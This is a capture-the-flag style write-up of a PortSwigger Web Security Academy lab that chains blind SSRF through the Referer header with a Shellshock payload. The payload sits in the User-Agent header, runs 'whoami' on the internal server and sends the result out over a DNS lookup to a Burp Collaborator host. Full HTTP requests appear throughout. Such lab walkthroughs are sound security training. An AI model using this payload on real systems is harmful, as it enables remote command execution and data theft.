
Blind SSRF with Shellshock exploitation

1. This site uses analytics software which fetches the URL specified in the Referer header when a product page is loaded.
2. Use this functionality to perform a blind SSRF attack against an internal server in the **192.168.0.X** range on port **8080**. In the blind attack, use a Shellshock payload against the internal server to exfiltrate the name of the OS user.
3. First, I try to inject my burp collaborator subdomain in referer header to make sure that the application fetches it and it already did it.

Request	Response
<pre>Pretty Raw Hex Hackvertor 1 GET /product?productId=1 HTTP/2 2 Host: 0a4d00d7037247fb8305f13000130071.web-security-academy.net 3 Cookie: session=T4gMvBxflTcznK8uQJK3wRVtB1xEQvjjG 4 Cache-Control: max-age=0 5 Sec-Ch-Ua: "Google Chrome";v="141", "Not?A_Brand";v="0", "Chromium";v="141" 6 Sec-Ch-Ua-Mobile: ?0 7 Sec-Ch-Ua-Platform: "Windows" 8 Upgrade-Insecure-Requests: 1 9 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/141.0.0.0 Safari/537.36 10 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0. 11 Sec-Fetch-Site: same-origin 12 Sec-Fetch-Mode: navigate 13 Sec-Fetch-User: ?1 14 Sec-Fetch-Dest: document 15 Referer: http://z334emz8xnckvc0f4y0sxocs3yumnac.oastify.com 16 Accept-Encoding: gzip, deflate, br 17 Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7 18 Priority: u=0, i 19</pre>	<pre>Pretty Raw Hex Render Hackvertor 1 HTTP/2 200 OK 2 Content-Type: text/html; charset=utf-8 3 X-Frame-Options: SAMEORIGIN 4 Content-Length: 4352 5 6 <!DOCTYPE html> 7 <html> 8 <head> 9 <link href=/resources/labheader/css 10 <link href=/resources/css/labsEcom 11 <title> 12 Blind SSRF with Shellshock ex 13 </title> 14 </head> 15 <body> 16 <script src=/resources/labheader/ 17 <div id="academyLabHeader"> 18 <section class='academyLabBan 19 <div class=container> 20 <div class=logo> 21 </div> 22 <div class=title-co 23 <h2> 24 Blind SSR 25 </h2> 26 </div> 27 </div> 28 </body> 29 </html> 30 </pre>

4. After searching about shellshock, I found a blog that explains it and there are some payloads that I used it.
5. I understood that the shellshock payloads injected in user-agent header, So, I inject this payload into user-agent header:

`() { ::; }; /bin/nslookup`

`'whoami'.z334emz8xnckvc0f4y0sxocs3yumnac.oastify.com`

Then modify the referer header to `http://192.168.0.X:8080` and send this request to intruder to brute force X variable.

```

GET /product?productId=1 HTTP/2
Host: 0a4d00d7037247fb8305f13000130071.web-security-academy.net
Cookie: session=T4gMuBxf1TcznK8uQK3wRVtBiXEQvjjG
Cache-Control: max-age=0
Sec-Ch-Ua: "Google Chrome";v="141", "Not?A_Brand";v="8", "Chromium";v="141"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: () { :; }; /bin/nslookup `whoami`.z334emz8xncrkvc0f4y0sxocs3yumnac.oastify.com
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/ap
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://192.168.0.55:8080
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9,ar;q=0.8,fr;q=0.7
Priority: u=0, i

```

NOTE: When the right value is placed with X value, the DNS request will be sent to my burp collaborator.

6. And here we go, the attack was done successfully and I got the OS username.

The screenshot shows the Burp Suite Professional interface. The 'Collaborator' tab is selected. A table lists two DNS queries. The second query, row 9, is highlighted. Below the table, a message indicates a successful DNS lookup for the domain name `peter-MifiVI.z334emz8xncrkvc0f4y0sxocs3yumnac.oastify.com`.

#	Time	Type	Payload
8	2025-Oct-11 20:34:55.197 UTC	DNS	z334emz8xncrkvc0f4y0sxocs3yumnac
9	2025-Oct-11 20:34:55.197 UTC	DNS	z334emz8xncrkvc0f4y0sxocs3yumnac

Description: DNS query
The Collaborator server received a DNS lookup of type A for the domain name `peter-MifiVI.z334emz8xncrkvc0f4y0sxocs3yumnac.oastify.com`.
The lookup was received from IP address 34.245.205.167:34860 at 2025-Oct-11 20:34:55.197 UTC.

WebSecurity Academy Blind SSRF with Shellshock exploitation

LAB Solved

[Back to lab description >](#)

Congratulations, you solved the lab!

Share your skills! [Twitter](#) [LinkedIn](#) Continue learning >

[Home](#)

Com-Tool



\$84.40

References: [Shellshock blog](#)